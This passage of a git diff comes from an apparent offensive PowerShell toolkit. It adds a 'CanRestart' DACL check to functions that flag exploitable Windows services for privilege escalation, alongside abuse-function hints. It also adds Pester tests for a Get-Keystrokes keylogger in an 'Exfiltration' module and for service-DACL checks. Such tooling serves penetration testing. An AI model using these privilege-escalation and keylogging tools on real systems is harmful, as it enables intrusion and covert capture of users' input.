- Write-Warning "Error: $_"
- return $False
}
+ return $False
}
function Invoke-ServiceStart {
@@ -369,7 +360,7 @@ function Invoke-ServiceEnable {
try {
# enable the service
- Write-Verbose "Enabling service '$TargetService.Name'"
+ Write-Verbose "Enabling service '$($TargetService.Name)'"
$Null = sc.exe config "$($TargetService.Name)" start= demand
return $True
}
@@ -417,7 +408,7 @@ function Invoke-ServiceDisable {
try {
# disable the service
- Write-Verbose "Disabling service '$TargetService.Name'"
+ Write-Verbose "Disabling service '$($TargetService.Name)'"
$Null = sc.exe config "$($TargetService.Name)" start= disabled
return $True
}
@@ -458,11 +449,17 @@ function Get-ServiceUnquoted {
if ($VulnServices) {
ForEach ($Service in $VulnServices){
+ try {
+ $CanRestart = Test-ServiceDaclPermission -ServiceName $Service.name -Dacl 'WPRP'
+ } catch {
+ $CanRestart = "Cannot be determined through DACL, try manually."
+ }
$Out = New-Object PSObject
$Out | Add-Member Noteproperty 'ServiceName' $Service.name
$Out | Add-Member Noteproperty 'Path' $Service.pathname
$Out | Add-Member Noteproperty 'StartName' $Service.startname
$Out | Add-Member Noteproperty 'AbuseFunction' "Write-ServiceBinary -ServiceName '$($Service.name)' -Path <HijackPath>"
+ $Out | Add-Member Noteproperty 'CanRestart' $CanRestart
$Out
}
}
@@ -492,12 +489,18 @@ function Get-ServiceFilePermission {
$ServiceStartName = $_.startname
$ServicePath | Get-ModifiableFile | ForEach-Object {
+ try {
+ $CanRestart = Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'WPRP'
+ } catch {
+ $CanRestart = "Cannot be determined through DACL, try manually."
+ }
$Out = New-Object PSObject
$Out | Add-Member Noteproperty 'ServiceName' $ServiceName
$Out | Add-Member Noteproperty 'Path' $ServicePath
$Out | Add-Member Noteproperty 'ModifiableFile' $_
$Out | Add-Member Noteproperty 'StartName' $ServiceStartName
$Out | Add-Member Noteproperty 'AbuseFunction' "Install-ServiceBinary -ServiceName '$ServiceName'"
+ $Out | Add-Member Noteproperty 'CanRestart' $CanRestart
$Out
}
}
@@ -510,7 +513,7 @@ function Get-ServicePermission {
This function enumerates all available services and tries to
open the service for modification, returning the service object
- if the process doesn't failed.
+ if the process didn't fail.
.EXAMPLE
@@ -541,11 +544,17 @@ function Get-ServicePermission {
# means the change was successful
if ($Result -contains "[SC] ChangeServiceConfig SUCCESS"){
+ try {
+ $CanRestart = Test-ServiceDaclPermission -ServiceName $Service.name -Dacl 'WPRP'
+ } catch {
+ $CanRestart = "Cannot be determined through DACL, try manually."
+ }
$Out = New-Object PSObject
$Out | Add-Member Noteproperty 'ServiceName' $Service.name
$Out | Add-Member Noteproperty 'Path' $Service.pathname
$Out | Add-Member Noteproperty 'StartName' $Service.startname
$Out | Add-Member Noteproperty 'AbuseFunction' "Invoke-ServiceAbuse -ServiceName '$($Service.name)'"
+ $Out | Add-Member Noteproperty 'CanRestart' $CanRestart
$Out
}
}
diff --git a/Tests/Exfiltration.tests.ps1 b/Tests/Exfiltration.tests.ps1
new file mode 100644
index 0000000..e4f60d5
--- /dev/null
+++ b/Tests/Exfiltration.tests.ps1
@@ -0,0 +1,54 @@
+Set-StrictMode -Version Latest
+
+$TestScriptRoot = Split-Path $MyInvocation.MyCommand.Path -Parent
+$ModuleRoot = Resolve-Path "$TestScriptRoot\.."
+$ModuleManifest = "$ModuleRoot\Exfiltration\Exfiltration.psd1"
+
+Remove-Module [E]xfiltration
+Import-Module $ModuleManifest -Force -ErrorAction Stop
+
+Describe 'Get-Keystrokes' {
+
+ if (Test-Path "$($env:TEMP)\key.log") { Remove-Item -Force "$($env:TEMP)\key.log" }
+ $WindowTitle = (Get-Process -Id $PID).MainWindowTitle
+
+ $Shell = New-Object -ComObject wscript.shell
+ $Shell.AppActivate($WindowTitle)
+
+ $KeyLogger = Get-Keystrokes -PassThru
+ Start-Sleep -Seconds 1
+
+ $Shell.SendKeys("Pester`b`b`b`b`b`b")
+ $KeyLogger.Dispose()
+
+ It 'Should output to file' { Test-Path "$($env:TEMP)\key.log" | Should Be $true }
+
+ $KeyObjects = Get-Content -Path "$($env:TEMP)\key.log" | ConvertFrom-Csv
+
+ It 'Should log keystrokes' {
+ $FileLength = (Get-Item "$($env:TEMP)\key.log").Length
+ $FileLength | Should BeGreaterThan 14
+ }
+
+ It 'Should get foreground window title' {
+ $KeyObjects[0].WindowTitle | Should Be $WindowTitle
+ }
+
+ It 'Should log time of key press' {
+ $KeyTime = [DateTime]::Parse($KeyObjects[0].Time)
+ $KeyTime.GetType().Name | Should Be 'DateTime'
+ }
+
+ It 'Should stop logging after timeout' {
+
+ $Timeout = 0.05
+ $KeyLogger = Get-Keystrokes -Timeout $Timeout -PassThru
+
+ Start-Sleep -Seconds 4
+
+ $KeyLogger.Runspace.RunspaceAvailability | Should Be 'Available'
+ $KeyLogger.Dispose()
+ }
+
+ Remove-Item -Force "$($env:TEMP)\key.log"
+}
diff --git a/Tests/Privesc.tests.ps1 b/Tests/Privesc.tests.ps1
index 095c946..56dfd2c 100644
--- a/Tests/Privesc.tests.ps1
+++ b/Tests/Privesc.tests.ps1
@@ -74,6 +74,137 @@ Describe 'Get-ModifiableFile' {
}
}
+Describe 'Test-ServiceDaclPermission' {
+
+ if(-not $(Test-IsAdmin)) {
+ Throw "'Test-ServiceDaclPermission' Pester test needs local administrator privileges."
+ }
+
+ It "Should fail finding 'sc.exe'." {
+ $ServiceName = Get-RandomName
+ $ServicePath = "C:\Program Files\service.exe"
+
+ sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS"
+ Start-Sleep -Seconds 1
+
+ $DirectoryName = Get-RandomName
+ $env:SystemRoot = 'C:\\' + $DirectoryName
+ { Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'DC' } | Should Throw "sc.exe not found"
+
+ sc.exe delete $ServiceName | Should Match "SUCCESS"
+ $env:SystemRoot = 'C:\Windows'
+ }
+
+ It "Should succeed finding 'sc.exe'." {
+ $ServiceName = Get-RandomName
+ $ServicePath = "C:\Program Files\service.exe"
+
+ sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS"
+ Start-Sleep -Seconds 1
+
+ $DirectoryName = Get-RandomName
+ New-Item -Path $env:Temp -Name "$DirectoryName\System32" -ItemType Directory
+ New-Item -Path $env:Temp -Name "$DirectoryName\System32\sc.exe" -ItemType File
+ $env:SystemRoot = $env:Temp + "\$DirectoryName"
+ Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'DC' | Should Be $True
+
+ Remove-Item -Recurse -Force "$env:Temp\$DirectoryName"
+ $env:SystemRoot = 'C:\Windows'
+ sc.exe delete $ServiceName | Should Match "SUCCESS"
+ }
+
+ It "Should fail querying WMI for a non-existent service." {
+ $ServiceName = Get-RandomName
+ { Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'DC' } | Should Throw "not found on the machine"
+ }
+
+ It "Should succeed querying WMI for an existenting service." {
+ $ServiceName = Get-RandomName
+ $ServicePath = "C:\Program Files\service.exe"
+
+ sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS"
+ Start-Sleep -Seconds 1
+
+ Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'DC' | Should Be $True
+ sc.exe delete $ServiceName | Should Match "SUCCESS"
+ }
+
+ It "Should fail querying WMI for an existing service due to insufficient DACL permissions." {
+ $ServiceName = Get-RandomName
+ $ServicePath = "C:\Program Files\service.exe"
+ $UserSid = [System.Security.Principal.WindowsIdentity]::GetCurrent().User.value
+
+ sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS"
+ Start-Sleep -Seconds 1
+
+ sc.exe sdset $ServiceName "D:(A;;CCDCSWRPWPDTLOCRSDRCWDWO;;;$UserSid)" | Should Match "SUCCESS"
+ { Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'DC' } | Should Throw "not found on the machine"
+ sc.exe delete $ServiceName | Should Match "SUCCESS"
+ }
+
+ It "Should succeed querying WMI for an existing service due to sufficient DACL permissions." {
+ $ServiceName = Get-RandomName
+ $ServicePath = "C:\Program Files\service.exe"
+ $UserSid = [System.Security.Principal.WindowsIdentity]::GetCurrent().User.value
+
+ sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS"
+ Start-Sleep -Seconds 1
+
+ sc.exe sdset $ServiceName "D:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$UserSid)" | Should Match "SUCCESS"
+ Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'DC' | Should Be $True
+ sc.exe delete $ServiceName | Should Match "SUCCESS"
+ }
+
+ It "Should fail running 'sc.exe sdshow' due to insufficient permissions." {
+ $ServiceName = Get-RandomName
+ $ServicePath = "C:\Program Files\service.exe"
+ $UserSid = [System.Security.Principal.WindowsIdentity]::GetCurrent().User.value
+
+ sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS"
+ Start-Sleep -Seconds 1
+
+ sc.exe sdset $ServiceName "D:(A;;CCDCLCSWRPWPDTLOCRSDWDWO;;;$UserSid)" | Should Match "SUCCESS"
+ { Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'DC' } | Should Throw "Could not retrieve DACL permissions"
+ sc.exe delete $ServiceName | Should Match "SUCCESS"
+ }
+
+ It "Should succeed running 'sc.exe sdshow' due to sufficient permissions." {
+ $ServiceName = Get-RandomName
+ $ServicePath = "C:\Program Files\service.exe"
+ $UserSid = [System.Security.Principal.WindowsIdentity]::GetCurrent().User.value
+
+ sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS"
+ Start-Sleep -Seconds 1
+
+ sc.exe sdset $ServiceName "D:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$UserSid)" | Should Match "SUCCESS"
+ Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'DC' | Should Be $True
+ sc.exe delete $ServiceName | Should Match "SUCCESS"
+ }
+
+ it "Should fail finding the service DACL value of 'WP' for the current user." {
+ $ServiceName = Get-RandomName
+ $ServicePath = "C:\Program Files\service.exe"
+
+ sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS"
+ Start-Sleep -Seconds 1
+
+ sc.exe sdset $ServiceName "D:(A;;CCDCLCSWRPDTLOCRSDRCWDWO;;;S-1-5-4)" | Should Match "SUCCESS"
+ Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'WP' | Should Be $False
+ sc.exe delete $ServiceName | Should Match "SUCCESS"
+ }
+
+ it "Should succeed finding the service DACL value of 'WP' for the current user." {
+ $ServiceName = Get-RandomName
+ $ServicePath = "C:\Program Files\service.exe"
+
+ sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS"
+ Start-Sleep -Seconds 1
+
+ sc.exe sdset $ServiceName "D:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-4)" | Should Match "SUCCESS"
+ Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'WP' | Should Be $True
+ sc.exe delete $ServiceName | Should Match "SUCCESS"
+ }
+}
########################################################
#